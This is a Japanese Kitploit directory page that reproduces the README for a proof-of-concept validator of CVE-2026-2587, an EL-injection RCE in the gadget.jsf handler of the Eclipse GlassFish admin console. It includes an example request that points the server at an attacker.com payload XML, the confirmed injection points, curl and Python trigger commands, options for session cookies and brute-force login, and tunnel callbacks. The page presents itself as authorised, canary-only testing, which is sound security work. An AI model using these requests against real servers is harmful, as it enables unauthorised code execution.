Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-2587-Exploit-POC — CVE-2026-2587 PoCバリデーター - Eclipse GlassFishの管理コンソールのgadget.jsfハンドラにおけるELインジェクションRCE用。許可されたテストのための安全な認証済み脆弱性スキャナー。 | Kitploit
ツール/GitHubGitHub/bhanunamikaze/cve-2026-2587-exploit-poc
脆弱性スキャナー動的分析 (サンドボックス)脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubbhanunamikaze/cve-2026-2587-exploit-poc

CVE-2026-2587-Exploit-POC

CVE-2026-2587 PoCバリデーター - Eclipse GlassFishの管理コンソールのgadget.jsfハンドラにおけるELインジェクションRCE用。許可されたテストのための安全な認証済み脆弱性スキャナー。

リポジトリを見るウェブサイト
1104ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-2587 Exploit PoC — Eclipse GlassFish EL インジェクション RCE 検証ツール

CVE-2026-2587 の安全な PoC 検証ツールです。これは、Eclipse GlassFish の管理コンソールガジェット処理(/common/gadgets/gadget.jsf)に影響する重大な EL インジェクション / RCE 問題です。

このツールは、セキュリティチームが承認された環境で、良性の算術 EL カナリアを使用して GlassFish CVE-2026-2587 の露出を検証するのに役立ちます。

割り当て元: Eclipse Foundation (CNA) · 公開日: 2026年5月19日 CVSS: 9.6 Critical · AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H CWE: CWE-917 — Expression Language Injection 影響を受けるバージョン: 2026年5月21日時点の公開アドバイザリでは不明 パッチ適用済みバージョン: 2026年5月21日時点の公開アドバイザリでは不明 スキャナールール: バージョンはルーティング/レポートコンテキストのみ; 判定には証明が必要です。


目次

  • 脆弱性概要
  • 動作の仕組み
  • 認証要件
  • セットアップ
  • ラボ環境 (Docker)
  • プローブXMLの生成
  • 使用方法 — 単一ターゲット
    • ローカルホスト / Docker
    • 認証情報
    • ブルートフォースログイン
    • Cloudflare Tunnel経由のリモート
    • 事前ホスティングされた静的XML
    • ngrok経由のリモート(最終手段)
    • 認証なしチェックのみ
  • 使用方法 — 複数ターゲット
    • ターゲットファイル形式
    • 並列スキャン
  • 出力形式
    • コンソール
    • CSV
    • JSON
    • 出力の組み合わせ
  • 高度なオプション
    • エンドポイントとバージョンの探索
    • カスタムカナリア値
    • カスタムヘッダー
  • テストケース
  • 出力の解釈
  • 手動検証
  • 修復
  • 参考文献
  • 免責事項

脆弱性概要

GlassFish 管理コンソールガジェットハンドラに重大なリモートコード実行の脆弱性が存在します。アプリケーションは、gadget= クエリパラメータを介して指定されたURLからフェッチされた .xml ファイルを処理し、Java Expression Language (EL) エンジンを通じて、サニタイズやエスケープなしに <ModulePrefs> 属性内のユーザー入力値を評価します。``` GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml

XMLが`<ModulePrefs title="">`属性内に`#{7*7}`を含む場合、GlassFishはサーバーサイドでそれを評価し`49`を返します—EL実行を確認します。ELがJavaランタイムにアクセスすることで、完全なRCEチェーンが続きます。

現在の公開アドバイザリレコードは、影響を受けるバージョンやパッチ適用済みバージョンの境界を公開していません。したがって、このバリデーターは証明ファーストです:GlassFishのフィンガープリントを取得し、バージョンメタデータを報告しますが、バージョン文字列のみからターゲットを脆弱と分類することはありません。

---

## 動作原理

![CVE-2026-2587の安全な検証ワークフロー](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

安全な検証パスは、良性のXMLプローブをホストし、認証済みの管理コンソールリクエストを`gadget.jsf`に送信し、GlassFishにコールバックURLからそのXMLをフェッチさせ、`<ModulePrefs title="">`カナリアが`#{7*7}`から`49`に評価されるかどうかを確認します。

**インジェクションポイントの確認有無:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

認証要件

シナリオ認証が必要か?
gadget.jsf への直接アクセスはい — FORM認証、200ログインページ
実際のCSRF攻撃いいえ — 管理者のライブセッションを悪用
このバリデータはい — --cookie または --username/--password
未認証の暴露チェックいいえ — スクリプトが自動的にテスト

CVSSベクトル PR:N / UI:R の意味:

  • PR:N — 攻撃者は自身の認証情報が不要
  • UI:R — ログイン済みの管理者が操作する必要あり(CSRF配信)

ラボでの検証では、CSRFを完全にスキップ — 自分の管理者セッションを直接使用してください。


セットアップ

必要条件: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests

optional for coloured terminal output:

pip install colorama

**リポジトリの内容:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

ラボ環境 (Docker)

注意: GHSAは依然として影響を受けるバージョンと修正済みバージョンを不明としてリストしています。 omnifish/glassfish:7.0.15 は有力なラボ候補ですが、脆弱性が保証されたビルドではありません。 検証プリミティブは算術カナリアのままです: #{7*7} が 49 と評価される場合、EL がアクティブです。

Option A — docker compose (推奨)```bash

from the repo root

docker compose -f docker-compose.lab.yml up

GlassFish 7.0.15を起動し、ポートは`127.0.0.1`のみにバインドされ、
`host.docker.internal`が事前に設定されているため、コンテナはローカルのXMLサーバーに到達できます。

### オプション B — 最小限の docker run```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

管理コンソール: https://localhost:4848 · ログイン: admin / admin (自己署名証明書 — ブラウザの警告は想定内です。)


良性プローブXMLを提供する

2つ目のターミナルで:```bash

The repo ships with probe.xml — serve it directly:

python3 -m http.server 8000 --bind 0.0.0.0

コンテナの視点から到達可能性を確認してください:```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

手動トリガー

まず管理コンソールにログインしてください(ブラウザセッションまたは --cookie を使用)。その後:```bash curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'

| 出力 | 意味 |
|---|---|
| `CVE2587_TITLE_49_END` | **脆弱** — `ModulePrefs title` 内でELが評価される |
| `CVE2587_BODY_49_END` | **脆弱** — CDATA本体でELが評価される |
| `CVE2587_TITLE_#{7*7}_END` | 脆弱ではない / ELは評価されない |
| *(no output)* | GlassFishがXMLを取得しなかった — コールバックの到達可能性を確認 |

> CDATA本体は通常、脆弱なビルドでもそのまま残ります。`TITLE`の結果が正であれば、それだけで発見を確認するのに十分です。

---

### ローカルラボに対する自動検証```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

Probe XMLの生成

リポジトリには、すぐに使えるprobe.xmlが同梱されています。新しいものをいつでも生成することもできます — これは、カスタムカナリアプレフィックスやランダム化された値を使用して、プローブをエンゲージメントごとにユニークにしたい場合に便利です。```bash

Generate with default values (CVE2587 prefix, #{7*7})

python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml

Generate with custom prefix and operands

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17

Print to stdout (pipe to a server, gist, etc.)

python3 CVE-2026-2587-Exploit-POC.py --generate-xml -

Generate with random values (different every run)

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127

ファイルに書き込んだ後の出力:```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

使用法 — 単一ターゲット

ローカルホスト / Docker

GlassFishがローカルまたは同一マシン上のDockerで実行されている場合に使用します。

管理者コンソールにログインした状態で、ブラウザのDevTools → Application → CookiesからJSESSIONIDを取得し、次のようにします:```bash

Docker — GlassFish in container, script on host

python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose

ツールをダウンロード